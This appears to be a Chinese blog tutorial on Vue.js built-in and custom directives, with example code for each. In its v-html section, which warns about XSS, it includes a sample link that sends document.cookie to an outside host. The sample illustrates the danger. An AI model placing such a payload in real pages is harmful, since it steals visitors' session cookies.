当前位置:网站首页>07 【内置指令 自定义指令】
07 【内置指令 自定义指令】
2022-07-31 05:10:00 【DSelegent】
15.内置指令
之前学过的指令:
- v-bind 单向绑定解析表达式,可简写为***
- v-model 双向数据绑定
- v-for 遍历数组 / 对象 / 字符串
- v-on 绑定事件监听,可简写为**@**
- v-show 条件渲染 (动态控制节点是否展示)
- v-if 条件渲染(动态控制节点是否存存在)
- v-else-if 条件渲染(动态控制节点是否存存在)
- v-else 条件渲染(动态控制节点是否存存在)
15.1v-text 指令
v-text指令:(使用的比较少)
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{ {xx}}则不会。
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{
{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({
el:'#root', data:{
name:'张三', str:'<h3>你好啊!</h3>' } }) </script>
15.2 v-html 指令
v-html指令:(使用的很少)
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
- v-html会替换掉节点中所有的内容,{ {xx}}则不会。
- v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{
{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({
el:'#root', data:{
name:'张三', str:'<h3>你好啊!</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>', } }) </script>
15.3v-cloak 指令
v-cloak指令(没有值):
- 本质是一个特殊属性,
Vue
实例创建完毕并接管容器后,会删掉v-cloak
属性。 - 使用
css
配合v-cloak
可以解决网速慢时页面展示出{ {xxx}}的问题。
<style> [v-cloak]{
display:none; } </style>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{
{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
<script type="text/javascript"> console.log(1) Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({
el:'#root', data:{
name:'尚硅谷' } }) </script>
15.4v-once 指令
v-once指令:(用的少)
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{
{ n }}</h2>
<h2>当前的n值是:{
{ n }}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({
el:'#root', data:{
n:1 } }) </script>
15.5v-pre 指令
v-pre指令:
- 跳过其所在节点的编译过程
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{
{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript"> Vue.config.productionTip = false new Vue({
el:'#root', data:{
n:1} }) </script>
Django中模板语法也是{ {}},使用这个是防止冲突
16.自定义指令
directives
记住这里面就是操作Dom的
需求1:定义一个v-big
指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind
指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
语法:
局部指令:
new Vue({
directives:{
指令名:配置对象
}
})
new Vue({
directives:{
指令名:回调函数
}
})
全局指令:
Vue.directive(指令名, 配置对象)
或
Vue.directive(指令名, 回调函数)
Vue.directive('fbind', {
// 指令与元素成功绑定时(一上来)
bind(element, binding) {
// element就是DOM元素,binding就是要绑定的
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时(data数据改变导致模板重新解析)
update(element, binding) {
element.value = binding.value
}
})
配置对象中常用的3个回调:
- bind:指令与元素成功绑定时调用。
- inserted:指令所在元素被插入页面时调用。
- update:指令所在模板结构被重新解析时调用。
element就是DOM元素,binding就是要绑定的对象,它包含以下属性:name
、value
、oldValue
、expression
、arg
、modifiers
备注
- 指令定义时不加
v-
,但使用时要加v-
- 指令名如果是多个单词,要使用
kebab-case
命名方式,不要用camelCase
命名
new Vue({
el: '#root',
data: {
n:1
},
directives: {
'big-number'(element,binding) {
element.innerText = binding.value * 10
}
}
})
定义全局指令
<!-- 准备好一个容器-->
<div id="root">
<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript"> Vue.config.productionTip = false //定义全局指令 Vue.directive('fbind', {
// 指令与元素成功绑定时(一上来) bind(element, binding){
element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element, binding){
element.focus() }, // 指令所在的模板被重新解析时 update(element, binding){
element.value = binding.value } }) new Vue({
el:'#root', data:{
name: '尚硅谷', n: 1 } }) </script>
局部指令
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
<div id="root">
<h2>{
{ name }}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript"> Vue.config.productionTip = false // 定义全局指令 /* Vue.directive('fbind',{ // 指令与元素成功绑定时(一上来) bind(element,binding){ element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, // 指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } }) */ new Vue({
el: '#root', data: {
name: '尚硅谷', n: 1 }, directives: {
// big函数何时会被调用? // 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时 /* 'big-number'(element,binding){ // console.log('big') element.innerText = binding.value * 10 }, */ big(element, binding) {
console.log('big', this) // 注意此处的 this 是 window // console.log('big') element.innerText = binding.value * 10 }, fbind: {
// 指令与元素成功绑定时(一上来) bind(element, binding) {
element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element, binding) {
element.focus() }, // 指令所在的模板被重新解析时 update(element, binding) {
element.value = binding.value } } } }) </script>
边栏推荐
- 2022-07-30:以下go语言代码输出什么?A:[]byte{} []byte;B:[]byte{} []uint8;C:[]uint8{} []byte;D:[]uin8{} []uint8。
- Kubernetes 证书可用年限修改
- 对递归的一些感悟
- 数据库上机实验3 连接查询和分组查询
- 数据库上机实验5 数据库安全性
- 对list集合进行分页,并将数据显示在页面中
- 基于flask的三方登陆的流程
- <urlopen error [Errno 11001] getaddrinfo failed>的解决、isinstance()函数初略介绍
- Qt Creator + CMake 运行调试总会自动 build 所有目标
- C语言实验四 循环结构程序设计(一)
猜你喜欢
剑指offer基础版 --- 第24天
剑指offer基础版--- 第23天
太厉害了,终于有人能把文件上传漏洞讲的明明白白了
剑指offer专项突击版 --- 第 4 天
About the problems encountered by Xiaobai installing nodejs (npm WARN config global `--global`, `--local` are deprecated. Use `--location=glob)
面试官:生成订单30分钟未支付,则自动取消,该怎么实现?
数据库上机实验5 数据库安全性
Refinement of the four major collection frameworks: Summary of List core knowledge
【一起学Rust】Rust的Hello Rust详细解析
Anaconda configure environment directives
随机推荐
torch.normal函数用法
MySQL-如何分库分表?一看就懂
MySQL_关于JSON数据的查询
Swordsman Offer Special Assault Edition ---- Day 6
实验8 DNS解析
tf.keras.utils.pad_sequences()
tf.keras.utils.get_file()
数据库上机实验7 数据库设计
The interviewer asked me TCP three handshake and four wave, I really
Redis管道技术/分区
wpf ScrowViewer水平滚动
数据集划分以及交叉验证法
Why use Flink and how to get started with Flink?
Lock wait timeout exceeded解决方案
对递归的一些感悟
剑指offer基础版 ---- 第27天
matlab abel变换图片处理
wpf wrapPanel居中并从左到右排列
Sword Point Offer Special Assault Edition ---- Day 2
数据库上机实验2 单表查询和嵌套查询